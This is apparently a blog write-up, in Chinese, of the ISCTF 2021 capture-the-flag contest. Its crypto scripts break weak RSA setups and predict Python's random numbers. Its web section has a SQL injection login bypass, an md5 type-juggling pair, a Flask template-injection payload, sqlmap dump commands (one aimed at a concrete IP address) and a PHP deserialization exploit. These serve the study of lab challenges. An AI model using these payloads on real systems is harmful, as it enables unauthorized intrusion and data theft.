ISCTF Writes Up

ISCTF 2021 Writes Up ----by Pw1d

Crypto部分我写的,WEB和Misc另一位队友写的,队友博客icyzhe.cn

Crypto部分:

弯弯曲曲的路

附件:

}I_cFTle_FToneCSWnTC5@0{I

题目叫弯弯曲曲的路,很明显曲路密码,提示说了行与列都是5。

exp:

import re


def encrypt_bend(string, col, row=10):
    ciphertext = ""
    temp = []
    for i in range(col):
        temp.append([])
    for index, i in enumerate(string):
        temp[index % col].append(i)
    re_temp = list(reversed(temp))
    for index, i in enumerate(re_temp):
        if index % 2 == 0:
            i = list(reversed(i))
        ciphertext += "".join(i)
    return ciphertext


def decrypt_bend(string, col, row=10):
    plaintext = ""
    length = len(string)
    min_row = length // col       # 最小的行数
    min_num = col - length % col  # 最小行数的列数
    # 分组
    temp = []
    index = 0
    for i in range(col):
        if i < min_num:
            temp.append(string[index:index+min_row])
            index += min_row
        else:
            temp.append(string[index:index+min_row+1])
            index += min_row + 1
    print(temp)
    # 改回列顺序
    for index, i in enumerate(temp):
        if index % 2 == 0:
            # print(re.findall(".{1}", temp[index]))
            temp[index] = "".join(list(reversed(re.findall(".{1}", temp[index]))))
    temp.reverse()
    for i in range(length):
        plaintext += temp[i % col][i // col]
    return plaintext


if __name__ == '__main__':
    col_ = 5
    row_ = 5
    ciphertext_ ='}I_cFTle_FToneCSWnTC5@0{I'
    #ciphertext_ = encrypt_bend("i will beat you this day", col_, row_)
    plaintext_ = decrypt_bend(ciphertext_, col_, row_)
    print(f"{plaintext_} : {ciphertext_}")

EasyRSA

附件:

n= 79059977083433369161977159472257563109008119475755288439774758824887836857424336032518651862088590700241980200158542855762122262156445632897757444422514158062996501037323379
e= 65537
c= 31573591986915001857640263466939164206307247748465148395978810720215094970707002043721991055789084518831540652652824225863275289979959264564070907438540016782921324316795681

n能直接用yafu分解分解出三个因子,求一下欧拉函数phi = (p1-1)(p2-1)(p3-1)

P1 = 2514358789
P2 = 2930880917
P3 = 10728308687033142242263042720863820844383961098139391476856378846439202568058060175330323889963293720874263174254928466703829537388987357384056877938482683

exp:

import gmpy2
from Crypto.Util.number import *
n= 79059977083433369161977159472257563109008119475755288439774758824887836857424336032518651862088590700241980200158542855762122262156445632897757444422514158062996501037323379
e= 65537
c= 31573591986915001857640263466939164206307247748465148395978810720215094970707002043721991055789084518831540652652824225863275289979959264564070907438540016782921324316795681
P1 = 2514358789
P2 = 2930880917
P3 = 10728308687033142242263042720863820844383961098139391476856378846439202568058060175330323889963293720874263174254928466703829537388987357384056877938482683
phi = (P1-1)*(P2-1)*(P3-1)
d = gmpy2.invert(e,phi)
flag = (long_to_bytes(gmpy2.powmod(c,d,n)))
print(flag)

MediumRSA

附件:

p= 135406272915839663948982508259168339196413423033707377351582717408135201161291947411690398070725136534418000750068523816458786100037135542069749803825803176245899663700018918204457909082934286787984577920819722071614325832117549949176386055577917668392717683643933279741971553133044965672217515958006018425207
q= 141499967777554698157827398588073190546048161142442371043319091793202159392937117317909316830021492737369017974252412948824878182004132437165872836769442232191985031274210566004860441962404283572352416239402475111512429494403506484997417885317393735452834730615296387016523054424102807140640940320044291046001
e= 894
c= 285599740642531890154220175592437844999990780403815630307661459001713176317615138628516144325413153232796819897801881107425865913054728954677352027457699314702416360013205027660502210085125607181176890689285963882325311472422689397465349673391413548284592577544566069076266866047930427530566329183924506279416975701558074448835820462125272973167295304050434568652119366359340574659484793805164709585039574539722702352716480226900050322661650017379886614397585534285036799547237613356555628012895080401615470840003601931382810917605930301582006344272146554650976008053460139711071700513559719126632374724028665834623

典型的e与phi不互素的情况,属于e与phi有公因数,且不属于公因数是e本身的情况。

exp:

import gmpy2
from Crypto.Util.number import *
p= 135406272915839663948982508259168339196413423033707377351582717408135201161291947411690398070725136534418000750068523816458786100037135542069749803825803176245899663700018918204457909082934286787984577920819722071614325832117549949176386055577917668392717683643933279741971553133044965672217515958006018425207
q= 141499967777554698157827398588073190546048161142442371043319091793202159392937117317909316830021492737369017974252412948824878182004132437165872836769442232191985031274210566004860441962404283572352416239402475111512429494403506484997417885317393735452834730615296387016523054424102807140640940320044291046001
n = p * q
e= 894
c= 285599740642531890154220175592437844999990780403815630307661459001713176317615138628516144325413153232796819897801881107425865913054728954677352027457699314702416360013205027660502210085125607181176890689285963882325311472422689397465349673391413548284592577544566069076266866047930427530566329183924506279416975701558074448835820462125272973167295304050434568652119366359340574659484793805164709585039574539722702352716480226900050322661650017379886614397585534285036799547237613356555628012895080401615470840003601931382810917605930301582006344272146554650976008053460139711071700513559719126632374724028665834623
phi = (p-1)*(q-1)
a = gmpy2.gcd(e,phi)
#print(a)
e = e//a
d = gmpy2.invert(e,phi)
m6 = gmpy2.powmod(c,d,n)
print(long_to_bytes(gmpy2.iroot(m6,6)[0]))

Circular Game

附件:

gur cnffjbeq vf lhaanahavirefvgl

附件名字叫做13.txt,尝试ROT13,解出来是yunnanuniversity,作为kz.zip的密码打开压缩包。

public_key.pem:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq+m7iHurBa9G8ujEiTpZ
71aHOVNhQXpd6jCQNhwMN3hD6JHkv0HSxmJwfGe0EnXDtjRraWmS6OYzT4+LSrXs
z9IkWGzRlJ4lC7WHS8D3NWIWYHCP4TRt2N0TlWXWm9nFCrEXqQ3IWgYQpQvKzsds
etnIZJL1tf1wQzGE6rbkbvURlUBbzBSuidkmi0kY5Qxp2Jfb6OUI647zx2dPxJpD
ffSCNffVIDUYOvrgYxIhs5HmCF3XECC3VfaKtRceL5JM8R0qz5nVU2Ns8hPvSVP+
7/i7G447cjW151si0joB7RpBplu44Vk8TXXDAk0JZdW6KwJn7ITaX04AAAAAAAAA
AQIDAQAB
-----END PUBLIC KEY-----

cipher.txt:

Vt9T2BKcJR647T6jmomlLEt0WEDBXVfrk0/oSXLtOTRpZgKyyMo9jKbBByR3L5zuiqh31FbJ7Yb41D1VSU2y7biQNnaByDPj5FHr96hxEEupxRXPTgyoKUb1QCLU1YbpJvzUHPELPsBwyMnLBQxDCrid1mkJ4nP+ZcoI8UzXGlNGTJgYjOV1txv9/9UKsfvtdhrSuogyQ7dY/935bB/B6+3mWFX/XpN68O6vRJqwoY66fBQv+cp2xMY43hzs/7q+R10O3wz98s7BNQjgV4isGVWfp5yAgu2/DAj1Ww13zTthqCJ6XFrC4Jz+RiiLsqpxiB6HzOsd7YzJ3cWDHH1leA==

subject.py:

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from secret import s, FLAG

def gen_prime(s):
    while True:
        r = getPrime(s)
        R = [r]
        t = int(5 * s / 2) + 1
        for i in range(0, t):
            R.append(r + getRandomRange(0, 4 * s ** 2))
        p = reduce(lambda a, b: a * b, R, 2) + 1
        if isPrime(p):
            if len(bin(p)[2:]) == 1024:
                return p

while True:
    p = gen_prime(s)
    q = gen_prime(s)
    n = p * q
    e = 65537
    d = inverse(e, (p-1)*(q-1))
    if len(bin(n)[2:]) == 2048:
        break

msg = FLAG
key = RSA.construct((long(n), long(e), long(d), long(p), long(p)))
for _ in xrange(s):
    enc = key.encrypt(msg, 0)[0]
    msg = enc

print(key.publickey().exportKey())
print('-' * 76)
print(enc.encode('base64'))
print ('-' * 76)

打开压缩包得到以上三个附件,首先提取公钥信息,yafu分解n,然后再观察encode脚本,发现flag被加密了s次但是不知道s的值,猜测s值不大,所以说爆破可行。

exp:

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2
import base64

pub = RSA.importKey(open('public_key.pem').read())
n = pub.n
e = pub.e
p = 139457081371053313087662621808811891689477698775602541222732432884929677435971504758581219546068100871560676389156360422970589688848020499752936702307974617390996217688749392344211044595211963580524376876607487048719085184308509979502505202804812382023512342185380439620200563119485952705668730322944000000001
q = 155617827023249833340719354421664777126919280716316528121008762838820577123085292134385394346751341309377546683859340593439660968379640585296350265350950535158375685103003837903550191128377455111656903429282868722284520586387794090131818535032744071918282383650099890243578253423157468632973312000000000000001
d = gmpy2.invert(e,(p-1)*(q-1))
msg = base64.b64decode("Vt9T2BKcJR647T6jmomlLEt0WEDBXVfrk0/oSXLtOTRpZgKyyMo9jKbBByR3L5zuiqh31FbJ7Yb41D1VSU2y7biQNnaByDPj5FHr96hxEEupxRXPTgyoKUb1QCLU1YbpJvzUHPELPsBwyMnLBQxDCrid1mkJ4nP+ZcoI8UzXGlNGTJgYjOV1txv9/9UKsfvtdhrSuogyQ7dY/935bB/B6+3mWFX/XpN68O6vRJqwoY66fBQv+cp2xMY43hzs/7q+R10O3wz98s7BNQjgV4isGVWfp5yAgu2/DAj1Ww13zTthqCJ6XFrC4Jz+RiiLsqpxiB6HzOsd7YzJ3cWDHH1leA==")
key = RSA.construct((int(n),int(e),int(d),int(p),int(q)))
msg = bytes_to_long(msg)
for i in range(100):
    enc = gmpy2.powmod(msg,d,n)
    msg = enc
    print(long_to_bytes(msg))

RdEs

题目:

import random
from Crypto.Cipher import AES
import base64
def pad(data):
    data=data.encode('utf8')
    while len(data) % 16 !=0:
        data+=b'\x00'
    return data
def jiami(key,m):
    mode=AES.MODE_ECB
    aes=AES.new(pad(key),mode)
    en_m=aes.encrypt(pad(m))
    en_m=base64.encodebytes(en_m)
    en_m=en_m.decode('utf8')
    print(en_m)

with open('output.txt', 'w') as f:
    for i in range(624):
        f.write(str(random.getrandbits(32)) + "\n")
    f.close()
flag = 'ISCTF{XXXXXXXXXXX}'
key= str(random.getrandbits(32))
jiami(key,flag)
#BYIlzaPnImGZeWVpn+QudBiZEwlaA3H3rl69STD8/tQ=

key是连续的第625个32位随机数,可用RandCrack预测,得到key以后进行pad填充,带入解密。

exp:

import base64
from Crypto.Cipher import AES
import random
from randcrack import RandCrack
import io
from hashlib import md5
rc = RandCrack()
file = io.open('E://题目//RdEs//RdEs//random.txt', 'r')
for i in range(624):
    line = file.readline()
    num = int(line)
    rc.submit(num)
key = rc.predict_randrange(0, 4294967295)#范围在32位以内
key = str(key)
def pad(data):
    data = data.encode('utf8')
    while len(data) % 16 != 0:
        data += b'\x00'
    return data
c = "BYIlzaPnImGZeWVpn+QudBiZEwlaA3H3rl69STD8/tQ="
c = base64.b64decode(c)
aes = AES.new(pad(key), AES.MODE_ECB)
m = aes.decrypt(c)
print(m)

HardRSA1

题目:

from Crypto.Util.number import *
flag=b'****************************'
m1 = bytes_to_long(flag)
N = getPrime(512)*getPrime(512)
e = 19

c1 = pow(m1, e, N)

a = getRandomNBitInteger(512)
b = getRandomNBitInteger(512)
m2 = a*m1 + b
c2 = pow(m2, e, N)

print(N, a, b, c1, c2, sep="\n")
# N=95587878777633457712771077861034164878218007211732872086703082427025284038734073722525350247252021434969755949232136071401015995927195956787389015816040788670336377590142763231354554070366181264021083507258416574251611662836423194484700341105611819435848709315571900313318932989155213069438624597581376096919
# a=8148274285376731469630646414567940438407613039123927029192149790588715641540606813881834241911738725252707074817442402177237967817804420371483845842902231
# b=9944999010165189354017274928734887652060645960820869672700674403006764312275448509638591901570545531313058741811202384719307206506483462331704719044400878
# c1=1870704366656953386352816295794415188411021228249016204037205250475471490295719163599101603443054766225481004510415813930027376456511655528372027273843117886139717834189065273068836018423957958033253086582500645476025731783186122169863569195566258360470326607481719859396822157309140555156145108464948303484
# c2=73255380295741602810215998117368212335852087176390783730568276178375345944401489472119142216343959193098593837507600341773896221941166940563956033779653381698066185496693623741658031273011213568043342267706206340976896722388323992521780876436269830484416265647861652562217726795508745205674083028929318260061

可以看到两段密文对应的明文之间仅存在已知的固定差异,且用了相同的模数进行加密,可以在有限条件内将他们全部恢复,这也是Franklin Reiter攻击的条件和内容。

exp(脚本来自github Franklin Reiter Attack的源码):

#from Crypto.Util.number import *
import string
import base64
import binascii
def gcd(a, b):
    while b:
        q, r = a.quo_rem(b)
        a, b = b, r
    if a:
        a = a.monic()
    return a
def attack(c1, c2, a, b, e, n):
    x = polygen(Zmod(n))
    g1 = x ^ e - c1
    g2 = (a * x + b) ^ e - c2
    return gcd(g1, g2).small_roots()
n= 95587878777633457712771077861034164878218007211732872086703082427025284038734073722525350247252021434969755949232136071401015995927195956787389015816040788670336377590142763231354554070366181264021083507258416574251611662836423194484700341105611819435848709315571900313318932989155213069438624597581376096919
e = 19
a= 8148274285376731469630646414567940438407613039123927029192149790588715641540606813881834241911738725252707074817442402177237967817804420371483845842902231
b= 9944999010165189354017274928734887652060645960820869672700674403006764312275448509638591901570545531313058741811202384719307206506483462331704719044400878
c1= 1870704366656953386352816295794415188411021228249016204037205250475471490295719163599101603443054766225481004510415813930027376456511655528372027273843117886139717834189065273068836018423957958033253086582500645476025731783186122169863569195566258360470326607481719859396822157309140555156145108464948303484
c2= 73255380295741602810215998117368212335852087176390783730568276178375345944401489472119142216343959193098593837507600341773896221941166940563956033779653381698066185496693623741658031273011213568043342267706206340976896722388323992521780876436269830484416265647861652562217726795508745205674083028929318260061
ans = attack(c1, c2, a, b, e, n)
for k in ans:
    print(int(k))
#sage跑完用python3转字节流
#k = 2173563760936118133046147127631177368938637246677673830433025464671651991810044541
#flag = long_to_bytes(k)
#print(flag)

HardRSA2

题目:

from Crypto.Util.number import *
flag = b'*****************************************'
p=getPrime(256)
q=getPrime(256)
n=p*q
e=3
c1=pow(bytes_to_long(flag),e,n)
c2=pow(bytes_to_long(flag)+1,e,n)
print("n=",n)
print("e=",e)
print("c1=",c1)
print("c2=",c2)
# n = 4204420773617479943564859167286821133009223627804172573263590117785622718525161236597233398439402100826272190957218464786259692632804955516979471884796171
# e = 3
# c1 =2472980534576281392558886476940549411151541741395435035178216067058424274579199860482131340986643214114691172763529231832373323600612645856564185998644266
# c2 =3187049937811823373965320946136219840500070255491222077303817795527750241053576957767965313420456458983759851110615696314773380132732017115202532855996999

加密了两段明文flag和flag+1,存在线性关系,且e=3,满足related message attack(相关消息攻击)的条件。

exp:

from Crypto.Util.number import *
e = 3
n = 4204420773617479943564859167286821133009223627804172573263590117785622718525161236597233398439402100826272190957218464786259692632804955516979471884796171
c1 = 2472980534576281392558886476940549411151541741395435035178216067058424274579199860482131340986643214114691172763529231832373323600612645856564185998644266
c2 = 3187049937811823373965320946136219840500070255491222077303817795527750241053576957767965313420456458983759851110615696314773380132732017115202532855996999
#--------------------sage----------------------
# def related_message_attack(c1, c2, diff, e, n):
#     PRx.<x> = PolynomialRing(Zmod(n))
#     g1 = x ^ e - c1
#     g2 = (x+diff) ^ e - c2
#     def gcd(g1, g2):
#         while g2:
#             g1, g2 = g2, g1 % g2
#         return g1.monic()
#     return -gcd(g1, g2)[0]
# diff = -1
# m = related_message_attack(c2, c1, diff, e, n)
# print(m)
#--------------------sage----------------------
m = 2627677351174352521228982698389418302338831226796241650558277555097107627042754252273675470990465824942974
print(long_to_bytes(m))

Do_u_know_coding

附件:

494n4n56453244524n464544475353534q4n5747343644524n5n4q5647544o32495634544o57434n4r563256455253484s464n584153434s47464r46455n3353494q59584o5n4o4r4o424r4755333253494646454q5344594r453q3q3q3q3q3q

5层套娃:
ROT13-Hex-Base32-Base64(Alphabet:ROT13)-Base85

鲨米尔

沙米尔门限方案(Shamir),第一次见,学习链接https://mp.weixin.qq.com/s/m_lDVdXMrM1W8U-PrB9CHw
exp(借的官方exp,记录学习一下):

from secretsharing import SecretSharer
import binascii
shares=['1-12a6bd8768c049913e049a99a707a270', '2-193b4367e502b4881d4ff26443f5c252', '3-1406e4e4c90dbc2df1176fc144339223', '4-309a1fe14e16082b95b12b0a7c111e3', '5-66437ab3c87da186761adb326e9e4191']
deflag=SecretSharer.recover_secret(shares[0:3])  
flag=binascii.unhexlify(deflag) 
print(flag)

WEB部分:

web签到:

提示让查看源代码,但无法右键。

在url前面加上view-source:即可。

小蜘蛛:

访问robots.txt发现路径。访问flag_is_here.php得到flag。

粗心的小蓝鲨:

看到登录框,尝试用万能密码登录。admin’or’1#

之后给了一个提示。

<?php
error_reporting(0);
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");

        if (!ctype_alpha($name)) {$logined = false;}
        if (!is_numeric($pwd) ) {$logined = false;}
        if (md5($name) != md5($pwd)) {$logined = false;}
        
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

要求username是字符串,password是数字,他们的md5要相等。

md5('240610708')==md5('QNKCDZO'); //True

之后登陆成功得到flag。

拼图:

前三层先自己拼好,最后一层看网上的教程。

easy flask:

访问/wow目录之后,参数是id。payload:

/wow/?id={{config}}

这题一开始看到的是假的flag。

easysql:

打开我的小sqlmap。之后得到flag。

语句:

sqlmap -u web --threads=10 --dbs
sqlmap -u web --threads=10 -D databasename --tables
sqlmap -u web --threads=10 -D databasename -T tablename --dump
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    
sqlmap -u "http://8.130.31.193/login.php?username=admin%27or%271%23&password=1" --threads=10 -D users -T flag -C flag --dump 

pop_unserialize:

exp:

<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容

class MF_is_cat{
    public $pop;
    public $MF ;
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}
class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}
class Show{
    var $test2='la';
    function action(){
        echo file_get_contents('f'.$this->test2.'g.php');
    }
}
$exp=new MF_is_cat();
$exp->pop=new Show();
echo serialize($exp);

?>

ANDROID部分:

猜数字:

放到JEB中看到竖着的flag。

MISC部分:

登录流量分析:

用wireshark打开之后,随便翻一下看到http包,打开之后看到ISCTF的字样就是flag。

女神的嘲讽:

打开之后改成.txt文件。看到ook的hint。把下面的信息放到解ook的网站。https://www.splitbrain.org/services/ook。

我裂开了:

打开word拼接上两张图片,扫码关注公众号,回复ISCTF得到flag。

你下载的真的是图片吗?:

附件是一张图片,查看图片备注信息提示后缀名有问题,改为zip后打开,还有一个zip文件,打开这个文件在一张图片中得flag。

easy_osint:

谷歌识图,云南昆明金碧广场。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值